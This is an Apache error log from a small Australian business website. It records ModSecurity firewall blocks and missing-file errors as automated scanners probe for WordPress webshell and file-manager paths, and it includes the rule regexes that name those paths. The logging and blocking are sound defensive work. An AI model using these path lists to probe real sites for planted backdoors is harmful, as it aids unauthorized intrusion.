[Thu Apr 09 07:15:20.370771 2026] [:error] [pid 20535:tid 20556] [client 137.220.224.18:5057] [client 137.220.224.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "adbhiAWiD9hWnEUHWdNT8gAAAAw"], referer: https://www.bing.com/
[Thu Apr 09 09:03:39.022655 2026] [:error] [pid 20641:tid 20652] [client 20.63.32.44:31029] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu Apr 09 09:03:39.281575 2026] [:error] [pid 20641:tid 20669] [client 20.63.32.44:31029] File does not exist: /usr/local/apache/htdocs/suspended-page/shadow-bot.php
[Thu Apr 09 09:03:39.539817 2026] [:error] [pid 20641:tid 20647] [client 20.63.32.44:31029] File does not exist: /usr/local/apache/htdocs/suspended-page/zxcs.php
[Thu Apr 09 09:03:39.798287 2026] [:error] [pid 20641:tid 20655] [client 20.63.32.44:31029] File does not exist: /usr/local/apache/htdocs/suspended-page/btx25.php
[Thu Apr 09 09:03:40.058655 2026] [:error] [pid 20641:tid 20649] [client 20.63.32.44:31029] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "adb67G3LksBSF-6rlkbGPAAAAMQ"]
[Thu Apr 09 09:03:40.582728 2026] [:error] [pid 20641:tid 20650] [client 20.63.32.44:31033] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "adb67G3LksBSF-6rlkbGPQAAAMU"]
[Thu Apr 09 09:03:41.120501 2026] [:error] [pid 22627:tid 22650] [client 20.63.32.44:30801] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "adb67fr8glsF_jKQpr6mwQAAARQ"]
[Thu Apr 09 09:03:41.637250 2026] [:error] [pid 20535:tid 20564] [client 20.63.32.44:31009] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "adb67QWiD9hWnEUHWdOrQgAAABQ"]
[Thu Apr 09 09:03:42.182549 2026] [:error] [pid 20641:tid 20646] [client 20.63.32.44:30800] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adb67m3LksBSF-6rlkbGQwAAAME"]
[Thu Apr 09 09:03:42.720755 2026] [:error] [pid 20535:tid 20565] [client 20.63.32.44:31002] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adb67gWiD9hWnEUHWdOrSwAAABU"]
[Thu Apr 09 09:03:43.244184 2026] [:error] [pid 22627:tid 22631] [client 20.63.32.44:30784] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adb67_r8glsF_jKQpr6myQAAAQE"]
[Thu Apr 09 09:03:43.762768 2026] [:error] [pid 20535:tid 20566] [client 20.63.32.44:30994] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rnenu.php"] [unique_id "adb67wWiD9hWnEUHWdOrTgAAABY"]
[Thu Apr 09 09:03:44.282298 2026] [:error] [pid 20535:tid 20559] [client 20.63.32.44:31012] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adb68AWiD9hWnEUHWdOrUgAAAA8"]
[Thu Apr 09 09:03:44.798884 2026] [:error] [pid 20535:tid 20567] [client 20.63.32.44:30981] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adb68AWiD9hWnEUHWdOrVAAAABc"]
[Thu Apr 09 09:03:45.325003 2026] [:error] [pid 20536:tid 20590] [client 20.63.32.44:30797] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adb68cPqyUJM1s3YpIZd7QAAAFM"]
[Thu Apr 09 09:03:45.883336 2026] [:error] [pid 20536:tid 20574] [client 20.63.32.44:31034] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fallbackapi.php"] [unique_id "adb68cPqyUJM1s3YpIZd7wAAAEM"]
[Thu Apr 09 14:07:55.153285 2026] [:error] [pid 24927:tid 24933] [client 20.63.32.44:42835] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu Apr 09 16:05:32.490392 2026] [:error] [pid 18477:tid 18495] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 09 16:05:32.659973 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 09 16:05:32.833758 2026] [:error] [pid 18477:tid 18494] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 09 16:05:33.013135 2026] [:error] [pid 18477:tid 18486] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 09 16:05:33.186978 2026] [:error] [pid 18477:tid 18503] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 09 16:05:33.362470 2026] [:error] [pid 18477:tid 18490] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 09 16:05:33.572852 2026] [:error] [pid 18477:tid 18483] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 09 16:05:33.747076 2026] [:error] [pid 18477:tid 18497] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 09 16:05:34.129472 2026] [:error] [pid 18477:tid 18484] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 09 16:05:34.308325 2026] [:error] [pid 18477:tid 18480] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 09 16:05:34.559443 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 09 16:05:34.724588 2026] [:error] [pid 18477:tid 18487] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 09 16:05:34.910472 2026] [:error] [pid 18477:tid 18485] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 09 16:05:35.098979 2026] [:error] [pid 18477:tid 18488] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 09 16:05:35.430685 2026] [:error] [pid 18477:tid 18502] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 09 16:05:35.606047 2026] [:error] [pid 18477:tid 18482] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 09 16:05:35.793625 2026] [:error] [pid 18477:tid 18486] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 09 16:05:35.968655 2026] [:error] [pid 18477:tid 18503] [client 216.24.210.29:39747] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Thu Apr 09 16:05:40.250610 2026] [:error] [pid 18477:tid 18482] [client 216.24.210.29:39747] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "addd1MDe826HlFeoLPI7hAAAAUM"]
[Thu Apr 09 16:05:41.960595 2026] [:error] [pid 24515:tid 24538] [client 216.24.210.4:55241] [client 216.24.210.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "addd1a1OMnvM2fMnB1NMTQAAABM"]
[Thu Apr 09 16:05:43.422125 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.37:27181] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 09 16:05:44.104833 2026] [:error] [pid 24515:tid 24541] [client 216.24.210.37:27181] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "addd2K1OMnvM2fMnB1NMWQAAABY"]
[Thu Apr 09 16:05:46.946871 2026] [:error] [pid 24927:tid 24953] [client 216.24.210.8:51223] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 09 16:05:47.138498 2026] [:error] [pid 24927:tid 24934] [client 216.24.210.8:51223] [client 216.24.210.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "addd2zXObuzEuw8mNJufrQAAAQQ"]
[Thu Apr 09 16:05:48.212334 2026] [:error] [pid 24515:tid 24542] [client 216.24.210.29:20483] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu Apr 09 16:05:49.209075 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.29:20483] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "addd3a1OMnvM2fMnB1NMZQAAAAQ"]
[Thu Apr 09 16:05:50.163939 2026] [:error] [pid 24927:tid 24951] [client 173.239.218.19:47323] [client 173.239.218.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "addd3jXObuzEuw8mNJufswAAARU"]
[Thu Apr 09 16:05:51.146960 2026] [:error] [pid 24927:tid 24937] [client 216.24.210.6:49543] [client 216.24.210.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "addd3zXObuzEuw8mNJuftwAAAQc"]
[Thu Apr 09 16:05:52.069869 2026] [:error] [pid 24515:tid 24525] [client 216.24.210.15:64653] [client 216.24.210.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "addd4K1OMnvM2fMnB1NMaAAAAAY"]
[Thu Apr 09 16:05:52.626538 2026] [:error] [pid 24515:tid 24542] [client 216.24.210.31:62169] [client 216.24.210.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "addd4K1OMnvM2fMnB1NMcAAAABc"]
[Thu Apr 09 16:05:53.594910 2026] [:error] [pid 18477:tid 18494] [client 216.24.210.3:56517] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "addd4cDe826HlFeoLPI7lgAAAU8"]
[Thu Apr 09 16:05:54.208523 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.32:45635] [client 216.24.210.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "addd4sDe826HlFeoLPI7mQAAAVM"]
[Thu Apr 09 16:05:55.647921 2026] [:error] [pid 24516:tid 24558] [client 216.24.210.44:21645] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Thu Apr 09 16:05:56.002964 2026] [:error] [pid 24516:tid 24560] [client 216.24.210.44:21645] [client 216.24.210.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "addd5NhW7vSS-UkeWCUHKwAAAE0"]
[Thu Apr 09 16:05:57.325035 2026] [:error] [pid 24624:tid 24628] [client 216.24.210.15:31903] [client 216.24.210.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "addd5e4Jn-WvK1ZBTviUyQAAAMI"]
[Thu Apr 09 16:05:58.366001 2026] [:error] [pid 24517:tid 24582] [client 216.24.210.7:44787] [client 216.24.210.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "addd5nboYEn2ZFM_PS9e6wAAAIg"]
[Thu Apr 09 16:05:59.212341 2026] [:error] [pid 24515:tid 24522] [client 216.24.210.8:47293] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Thu Apr 09 16:05:59.374660 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.8:47293] [client 216.24.210.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "addd561OMnvM2fMnB1NMgwAAAAQ"]
[Thu Apr 09 16:06:00.275182 2026] [:error] [pid 24515:tid 24533] [client 216.24.210.40:42037] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Thu Apr 09 16:06:00.917919 2026] [:error] [pid 24515:tid 24539] [client 216.24.210.40:42037] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Thu Apr 09 16:06:01.484343 2026] [:error] [pid 24515:tid 24522] [client 216.24.210.40:42037] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "addd6a1OMnvM2fMnB1NMlAAAAAM"]
[Thu Apr 09 16:06:02.511924 2026] [:error] [pid 20837:tid 20848] [client 216.24.210.9:64021] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Thu Apr 09 16:06:02.684460 2026] [:error] [pid 20837:tid 20839] [client 216.24.210.9:64021] [client 216.24.210.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "addd6vSL71FHZkjrGzOu1gAAAYA"]
[Thu Apr 09 16:06:03.754708 2026] [:error] [pid 24927:tid 24943] [client 216.24.210.21:63525] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Thu Apr 09 16:06:04.127390 2026] [:error] [pid 24927:tid 24932] [client 216.24.210.21:63525] [client 216.24.210.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "addd7DXObuzEuw8mNJufwgAAAQI"]
[Thu Apr 09 16:06:05.227355 2026] [:error] [pid 18477:tid 18482] [client 173.239.218.150:47975] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "addd7cDe826HlFeoLPI7pAAAAUM"]
[Thu Apr 09 16:06:05.817306 2026] [:error] [pid 20837:tid 20853] [client 216.24.210.14:39181] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Thu Apr 09 16:06:05.992978 2026] [:error] [pid 20837:tid 20863] [client 216.24.210.14:39181] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Thu Apr 09 16:06:06.467197 2026] [:error] [pid 20837:tid 20862] [client 216.24.210.14:39181] [client 216.24.210.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "addd7vSL71FHZkjrGzOu3gAAAZc"]
[Thu Apr 09 16:06:07.015063 2026] [:error] [pid 20837:tid 20857] [client 216.24.210.2:48905] [client 216.24.210.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "addd7_SL71FHZkjrGzOu4AAAAZI"]
[Thu Apr 09 16:06:08.246293 2026] [:error] [pid 24516:tid 24549] [client 216.24.210.42:29705] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "addd8NhW7vSS-UkeWCUHNAAAAEI"]
[Thu Apr 09 16:06:09.173119 2026] [:error] [pid 24927:tid 24935] [client 216.24.210.42:21085] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "addd8TXObuzEuw8mNJufyAAAAQU"]
[Thu Apr 09 16:06:09.995378 2026] [:error] [pid 20837:tid 20847] [client 216.24.210.30:21085] [client 216.24.210.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "addd8fSL71FHZkjrGzOu4wAAAYg"]
[Thu Apr 09 16:06:11.668161 2026] [:error] [pid 18477:tid 18490] [client 216.24.210.24:60489] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu Apr 09 16:06:11.877692 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.24:60489] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "addd88De826HlFeoLPI7rQAAAVE"]
[Thu Apr 09 16:06:12.585057 2026] [:error] [pid 18477:tid 18492] [client 173.239.218.21:32607] [client 173.239.218.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "addd9MDe826HlFeoLPI7rgAAAU0"]
[Thu Apr 09 16:06:13.469630 2026] [:error] [pid 18477:tid 18489] [client 216.24.210.36:38687] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "addd9cDe826HlFeoLPI7sQAAAUo"]
[Thu Apr 09 16:06:14.690130 2026] [:error] [pid 24927:tid 24945] [client 216.24.210.35:26333] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Thu Apr 09 16:06:15.039094 2026] [:error] [pid 24927:tid 24938] [client 216.24.210.35:26333] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
